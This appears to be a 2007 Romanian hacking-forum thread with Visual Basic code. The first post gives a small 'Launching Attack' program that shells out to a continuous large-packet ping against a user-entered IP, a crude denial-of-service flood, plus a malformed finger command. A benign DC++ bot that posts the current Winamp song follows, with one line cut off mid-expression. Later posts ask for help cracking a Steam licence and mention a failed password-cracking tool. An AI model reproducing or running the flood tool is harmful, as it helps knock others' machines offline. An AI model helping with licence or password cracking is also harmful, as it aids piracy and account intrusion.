1.Ai nevoie de un label cu numele :lblstatus
2.Doua butoane cu numele :cmdping si cmdFinger
3.Un TextBox cu numele :txtip
4.Introduceti codu urmator
Private Sub cmdPing_Click() 'this tells it what to give the instructions to
MsgBox "Launching Attack", vbInformation, "Launching Attack" 'This is a little pop-up
Shell ("ping " & txtIP.Text & " -l 65500 -t") ' "shell tells it to open DOS then type this in automatically
lblstatus.Caption = "Pinging IP" 'Changes the Label caption
End Sub
Private Sub cmdFinger_Click()
MsgBox "Launching Attack", vbInformation, "Launching attack"
Shell ("finger @@@@@@@@@@@@@@" & txtIP.Text)
lblstatus.Caption = "Finger IP"
End Sub
27.08.2007
49.5KB
Un bot care se conecteaza pe DC si zice pe mainchat ce melodie asculti din winamp.De asemenea din bot poti controla winampu sa schimbi la urmatoarea melodie etc
Momentan dau paste doar la sursa aici ca e simpla ..dak nu va iese zicetzi
1 Form
Private Sub chameleonButton1_Click()
sock.Close
sock.RemoteHost = Text1.Text
sock.RemotePort = Text2.Text
sock.Connect
Timer2.Enabled = True
End Sub
Private Sub Command1_Click()
SendMessage hwndWinamp, WM_COMMAND, 40044, 0
End Sub
Private Sub Command2_Click()
SendMessage hwndWinamp, WM_COMMAND, 40048, 0
End Sub
Private Sub Command3_Click()
SendMessage hwndWinamp, WM_COMMAND, 40045, 0
End Sub
Function Lock2Key(StrLock As String) As String
Dim TLock2Key As String
Dim TChar As Integer
Dim rLock As String
If Len(StrLock) < 3 Then
Lock2Key = Left$("BROKENCLIENT", Len(StrLock))
Exit Function
End If
For i = 7 To Len(StrLock)
If Mid$(StrLock, i, 3) = " Pk" Then
i = Len(StrLock)
Else
rLock = rLock & Mid$(StrLock, i, 1)
End If
Next i
TLock2Key = Chr$(Asc(Left$(rLock, 1)) Xor Asc(Right$(rLock, 1)) Xor Asc(Mid$(rLock, Len(rLock) - 1, 1)) Xor 5)
For i = 2 To Len(rLock)
TLock2Key = TLock2Key & Chr$(Asc(Mid$(rLock, i, 1)) Xor Asc(Mid$(rLock, i - 1, 1)))
Next i
For i = 1 To Len(TLock2Key)
TChar = Asc(Mid$(TLock2Key, i, 1))
TChar = TChar * 16 + TChar \ 16 'Swap bits 11110000 -> 00001111
TChar = TChar Mod 256
If TChar = 0 Or TChar = 5 Or TChar = 36 Or TChar = 96 Or TChar = 124 Or TChar = 126 Then
Lock2Key = Lock2Key & "/%DCN" & Right$("000" & TChar, 3) & "%/"
Else
Lock2Key = Lock2Key & Chr$(TChar)
End If
Next i
End Function
Private Sub Command4_Click()
SendMessage hwndWinamp, WM_COMMAND, 40046, 0
End Sub
Private Sub Command5_Click()
SendMessage hwndWinamp, WM_COMMAND, 40144, 0
End Sub
Private Sub Command6_Click()
SendMessage hwndWinamp, WM_COMMAND, 40148, 0
End Sub
Private Sub Command7_Click()
SendMessage hwndWinamp, WM_COMMAND, 40047, 0
End Sub
Private Sub Timer1_Timer()
hwndWinamp = FindWindow("Winamp v1.x", vbNullString)
Dim winamptitle As String
winamptitle = Space$(2048)
talle = GetWindowText(hwndWinamp, winamptitle, Len(winamptitle))
Label1.Caption = Mid(winamptitle, 1, Len(winamptitle) -
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
Dim varuser As String
Dim varlock As String
Dim varkey As String
Dim rLock As String
sock.GetData varlock, vbString
For i = 1 To Len(varlock)
If Mid(StrLock, i, 3) = " Pk" Then
i = Len(varlock)
Else
rLock = rLock & Mid(varlock, i, 1)
End If
Next i
varlock = rLock
varkey = Lock2Key(varlock)
Chat.Text = (varlock)
sock.SendData "$Key " & varkey & "|"
sock.SendData "$ValidateNick " + Text4.Text + "|"
sock.SendData "$Version 1.0091|"
sock.SendData "$MyINFO $ALL " + Text4.Text + " Music <++ V:0.401,M:A,H:2/0/0,S:5>$ $Satellite$$81245012693$|"
sock.SendData "$GetNickList|"
sock.GetData varuser, vbString
sock.SendData "$GetINFO " + Text4.Text + " " + Text4.Text + "|"
Timer3.Enabled = True
Timer2.Enabled = False
End Sub
Private Sub Timer3_Timer()
On Error Resume Next
sock.SendData "<" + Text4.Text + "> " + Text3.Text + " " + Text5.Text + " " + Label1.Caption + "|"
Timer4.Enabled = True
Timer3.Enabled = False
End Sub
Private Sub Timer4_Timer()
On Error Resume Next
sock.SendData "$Quit " & Text4.Text & "|"
sock.Close
sock.RemoteHost = Text1.Text
sock.RemotePort = Text2.Text
sock.Connect
Timer4.Enabled = False
End Sub
2 Modul in care scrietzi:
Public hwndWinamp As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Const WM_COMMAND = &H111
03.09.2007
54.9KB
Frate ma ajuti sa imi spargi si mie o licenta la steam? :zzz: Doamenee de ai resuii :(((( sunt sebisebixxl la tn p mess daca ma poti ajuta spunemi si mie plss!
07.09.2007
25.6KB
l-am avut si eu.nu merge e asa de caterink nu va mai chinuti degeaba ca nu merge am stat 2 zile cu el deschis sa sparg o parola si nu a mers
